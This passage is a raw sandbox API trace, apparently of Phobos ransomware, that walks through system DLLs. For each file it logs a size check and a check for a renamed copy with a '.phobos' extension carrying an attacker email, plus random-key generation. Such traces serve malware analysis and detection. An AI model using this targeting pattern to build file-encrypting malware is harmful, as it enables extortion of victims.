lpFileSize=0x3fffc40 | out: lpFileSize=0x3fffc40*=7680) returned 1 [0125.051] CloseHandle (hObject=0x580) returned 1 [0125.051] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\en-US\\msdaprsr.dll.mui" (normalized: "c:\\program files\\common files\\system\\msadc\\en-us\\msdaprsr.dll.mui")) returned 0x20 [0125.051] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\en-US\\msdaprsr.dll.mui.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\system\\msadc\\en-us\\msdaprsr.dll.mui.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0125.052] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\en-US\\msdaprsr.dll.mui" (normalized: "c:\\program files\\common files\\system\\msadc\\en-us\\msdaprsr.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0125.052] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3fffca0 | out: pbBuffer=0x3fffca0) returned 1 [0125.052] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\msadcer.dll" (normalized: "c:\\program files\\common files\\system\\msadc\\msadcer.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0125.053] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x3fffc40 | out: lpFileSize=0x3fffc40*=2560) returned 1 [0125.053] CloseHandle (hObject=0x580) returned 1 [0125.053] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\msadcer.dll" (normalized: "c:\\program files\\common files\\system\\msadc\\msadcer.dll")) returned 0x20 [0125.053] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\msadcer.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\system\\msadc\\msadcer.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0125.053] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\msadcer.dll" (normalized: "c:\\program files\\common files\\system\\msadc\\msadcer.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0125.054] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3fffca0 | out: pbBuffer=0x3fffca0) returned 1 [0125.054] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\msadco.dll" (normalized: "c:\\program files\\common files\\system\\msadc\\msadco.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0125.054] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x3fffc40 | out: lpFileSize=0x3fffc40*=242688) returned 1 [0125.054] CloseHandle (hObject=0x580) returned 1 [0125.054] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\msadco.dll" (normalized: "c:\\program files\\common files\\system\\msadc\\msadco.dll")) returned 0x20 [0125.054] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\msadco.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\system\\msadc\\msadco.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0125.054] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\msadco.dll" (normalized: "c:\\program files\\common files\\system\\msadc\\msadco.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0125.054] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3fffca0 | out: pbBuffer=0x3fffca0) returned 1 [0125.054] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\msadcor.dll" (normalized: "c:\\program files\\common files\\system\\msadc\\msadcor.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0125.055] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x3fffc40 | out: lpFileSize=0x3fffc40*=2560) returned 1 [0125.055] CloseHandle (hObject=0x580) returned 1 [0125.055] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\msadcor.dll" (normalized: "c:\\program files\\common files\\system\\msadc\\msadcor.dll")) returned 0x20 [0125.055] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\msadcor.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\system\\msadc\\msadcor.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0125.055] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\msadcor.dll" (normalized: "c:\\program files\\common files\\system\\msadc\\msadcor.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0125.055] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3fffca0 | out: pbBuffer=0x3fffca0) returned 1 [0125.055] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\msadds.dll" (normalized: "c:\\program files\\common files\\system\\msadc\\msadds.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0125.055] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x3fffc40 | out: lpFileSize=0x3fffc40*=279552) returned 1 [0125.055] CloseHandle (hObject=0x580) returned 1 [0125.055] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\msadds.dll" (normalized: "c:\\program files\\common files\\system\\msadc\\msadds.dll")) returned 0x20 [0125.056] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\msadds.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\system\\msadc\\msadds.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0125.056] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\msadds.dll" (normalized: "c:\\program files\\common files\\system\\msadc\\msadds.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0125.056] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3fffca0 | out: pbBuffer=0x3fffca0) returned 1 [0125.056] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\msaddsr.dll" (normalized: "c:\\program files\\common files\\system\\msadc\\msaddsr.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0125.056] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x3fffc40 | out: lpFileSize=0x3fffc40*=2560) returned 1 [0125.056] CloseHandle (hObject=0x580) returned 1 [0125.056] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\msaddsr.dll" (normalized: "c:\\program files\\common files\\system\\msadc\\msaddsr.dll")) returned 0x20 [0125.056] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\msaddsr.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\system\\msadc\\msaddsr.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0125.056] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\msaddsr.dll" (normalized: "c:\\program files\\common files\\system\\msadc\\msaddsr.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0125.056] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3fffca0 | out: pbBuffer=0x3fffca0) returned 1 [0125.056] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\msdaprsr.dll" (normalized: "c:\\program files\\common files\\system\\msadc\\msdaprsr.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0125.057] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x3fffc40 | out: lpFileSize=0x3fffc40*=2560) returned 1 [0125.058] CloseHandle (hObject=0x580) returned 1 [0125.058] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\msdaprsr.dll" (normalized: "c:\\program files\\common files\\system\\msadc\\msdaprsr.dll")) returned 0x20 [0125.058] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\msdaprsr.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\system\\msadc\\msdaprsr.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0125.058] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\msdaprsr.dll" (normalized: "c:\\program files\\common files\\system\\msadc\\msdaprsr.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0125.058] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3fffca0 | out: pbBuffer=0x3fffca0) returned 1 [0125.058] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\msdaprst.dll" (normalized: "c:\\program files\\common files\\system\\msadc\\msdaprst.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0125.059] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x3fffc40 | out: lpFileSize=0x3fffc40*=356352) returned 1 [0125.059] CloseHandle (hObject=0x580) returned 1 [0125.059] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\msdaprst.dll" (normalized: "c:\\program files\\common files\\system\\msadc\\msdaprst.dll")) returned 0x20 [0125.059] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\msdaprst.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\system\\msadc\\msdaprst.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0125.060] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\msdaprst.dll" (normalized: "c:\\program files\\common files\\system\\msadc\\msdaprst.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0125.061] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3fffca0 | out: pbBuffer=0x3fffca0) returned 1 [0125.061] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\msdasqlr.dll.mui" (normalized: "c:\\program files\\common files\\system\\ole db\\en-us\\msdasqlr.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0125.063] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x3fffc40 | out: lpFileSize=0x3fffc40*=6144) returned 1 [0125.063] CloseHandle (hObject=0x580) returned 1 [0125.063] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\msdasqlr.dll.mui" (normalized: "c:\\program files\\common files\\system\\ole db\\en-us\\msdasqlr.dll.mui")) returned 0x20 [0125.063] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\msdasqlr.dll.mui.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\system\\ole db\\en-us\\msdasqlr.dll.mui.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0125.064] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\msdasqlr.dll.mui" (normalized: "c:\\program files\\common files\\system\\ole db\\en-us\\msdasqlr.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0125.064] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3fffca0 | out: pbBuffer=0x3fffca0) returned 1 [0125.064] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\sqlxmlx.rll.mui" (normalized: "c:\\program files\\common files\\system\\ole db\\en-us\\sqlxmlx.rll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0125.065] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x3fffc40 | out: lpFileSize=0x3fffc40*=18432) returned 1 [0125.065] CloseHandle (hObject=0x580) returned 1 [0125.065] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\sqlxmlx.rll.mui" (normalized: "c:\\program files\\common files\\system\\ole db\\en-us\\sqlxmlx.rll.mui")) returned 0x20 [0125.065] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\sqlxmlx.rll.mui.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\system\\ole db\\en-us\\sqlxmlx.rll.mui.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0125.065] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\sqlxmlx.rll.mui" (normalized: "c:\\program files\\common files\\system\\ole db\\en-us\\sqlxmlx.rll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0125.065] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3fffca0 | out: pbBuffer=0x3fffca0) returned 1 [0125.065] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\msdaosp.dll" (normalized: "c:\\program files\\common files\\system\\ole db\\msdaosp.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0125.066] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x3fffc40 | out: lpFileSize=0x3fffc40*=99840) returned 1 [0125.066] CloseHandle (hObject=0x580) returned 1 [0125.066] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\msdaosp.dll" (normalized: "c:\\program files\\common files\\system\\ole db\\msdaosp.dll")) returned 0x20 [0125.066] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\msdaosp.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\system\\ole db\\msdaosp.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0125.066] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\msdaosp.dll" (normalized: "c:\\program files\\common files\\system\\ole db\\msdaosp.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0125.066] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3fffca0 | out: pbBuffer=0x3fffca0) returned 1 [0125.066] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\msdaps.dll" (normalized: "c:\\program files\\common files\\system\\ole db\\msdaps.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0125.066] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x3fffc40 | out: lpFileSize=0x3fffc40*=376320) returned 1 [0125.066] CloseHandle (hObject=0x580) returned 1 [0125.068] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\msdaps.dll" (normalized: "c:\\program files\\common files\\system\\ole db\\msdaps.dll")) returned 0x20 [0125.069] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\msdaps.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\system\\ole db\\msdaps.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0125.069] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\msdaps.dll" (normalized: "c:\\program files\\common files\\system\\ole db\\msdaps.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0125.069] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3fffca0 | out: pbBuffer=0x3fffca0) returned 1 [0125.069] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\msdasql.dll" (normalized: "c:\\program files\\common files\\system\\ole db\\msdasql.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0125.070] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x3fffc40 | out: lpFileSize=0x3fffc40*=698368) returned 1 [0125.070] CloseHandle (hObject=0x580) returned 1 [0125.070] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\msdasql.dll" (normalized: "c:\\program files\\common files\\system\\ole db\\msdasql.dll")) returned 0x20 [0125.070] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\msdasql.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\system\\ole db\\msdasql.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0125.070] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\msdasql.dll" (normalized: "c:\\program files\\common files\\system\\ole db\\msdasql.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0125.070] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3fffca0 | out: pbBuffer=0x3fffca0) returned 1 [0125.070] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\msdatl3.dll" (normalized: "c:\\program files\\common files\\system\\ole db\\msdatl3.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0125.071] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x3fffc40 | out: lpFileSize=0x3fffc40*=117248) returned 1 [0125.071] CloseHandle (hObject=0x580) returned 1 [0125.071] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\msdatl3.dll" (normalized: "c:\\program files\\common files\\system\\ole db\\msdatl3.dll")) returned 0x20 [0125.071] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\msdatl3.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\system\\ole db\\msdatl3.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0125.071] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\msdatl3.dll" (normalized: "c:\\program files\\common files\\system\\ole db\\msdatl3.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0125.072] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3fffca0 | out: pbBuffer=0x3fffca0) returned 1 [0125.072] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\oledb32.dll" (normalized: "c:\\program files\\common files\\system\\ole db\\oledb32.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0125.073] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x3fffc40 | out: lpFileSize=0x3fffc40*=942080) returned 1 [0125.073] CloseHandle (hObject=0x580) returned 1 [0125.073] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\oledb32.dll" (normalized: "c:\\program files\\common files\\system\\ole db\\oledb32.dll")) returned 0x20 [0125.073] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\oledb32.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\system\\ole db\\oledb32.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0125.074] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\oledb32.dll" (normalized: "c:\\program files\\common files\\system\\ole db\\oledb32.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0125.074] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3fffca0 | out: pbBuffer=0x3fffca0) returned 1 [0125.074] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\oledb32r.dll" (normalized: "c:\\program files\\common files\\system\\ole db\\oledb32r.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0125.075] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x3fffc40 | out: lpFileSize=0x3fffc40*=77824) returned 1 [0125.075] CloseHandle (hObject=0x580) returned 1 [0125.075] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\oledb32r.dll" (normalized: "c:\\program files\\common files\\system\\ole db\\oledb32r.dll")) returned 0x20 [0125.075] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\oledb32r.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\system\\ole db\\oledb32r.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0125.075] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\oledb32r.dll" (normalized: "c:\\program files\\common files\\system\\ole db\\oledb32r.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0125.075] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3fffca0 | out: pbBuffer=0x3fffca0) returned 1 [0125.075] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\sqloledb.dll" (normalized: "c:\\program files\\common files\\system\\ole db\\sqloledb.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594 [0125.084] GetFileSizeEx (in: hFile=0x594, lpFileSize=0x3fffc40 | out: lpFileSize=0x3fffc40*=868352) returned 1 [0125.084] CloseHandle (hObject=0x594) returned 1 [0125.084] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\sqloledb.dll" (normalized: "c:\\program files\\common files\\system\\ole db\\sqloledb.dll")) returned 0x20 [0125.084] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\sqloledb.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\system\\ole db\\sqloledb.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0125.084] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\sqloledb.dll" (normalized: "c:\\program files\\common files\\system\\ole db\\sqloledb.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0125.084] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3fffca0 | out: pbBuffer=0x3fffca0) returned 1 [0125.084] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\sqlxmlx.dll" (normalized: "c:\\program files\\common files\\system\\ole db\\sqlxmlx.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594 [0125.088] GetFileSizeEx (in: hFile=0x594, lpFileSize=0x3fffc40 | out: lpFileSize=0x3fffc40*=326144) returned 1 [0125.089] CloseHandle (hObject=0x594) returned 1 [0125.089] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\sqlxmlx.dll" (normalized: "c:\\program files\\common files\\system\\ole db\\sqlxmlx.dll")) returned 0x20 [0125.089] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\sqlxmlx.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\system\\ole db\\sqlxmlx.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0125.091] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\sqlxmlx.dll" (normalized: "c:\\program files\\common files\\system\\ole db\\sqlxmlx.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0125.091] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3fffca0 | out: pbBuffer=0x3fffca0) returned 1 [0125.091] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\wab32res.dll" (normalized: "c:\\program files\\common files\\system\\wab32res.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594 [0125.095] GetFileSizeEx (in: hFile=0x594, lpFileSize=0x3fffc40 | out: lpFileSize=0x3fffc40*=964096) returned 1 [0125.095] CloseHandle (hObject=0x594) returned 1 [0125.095] GetFileAttributesW 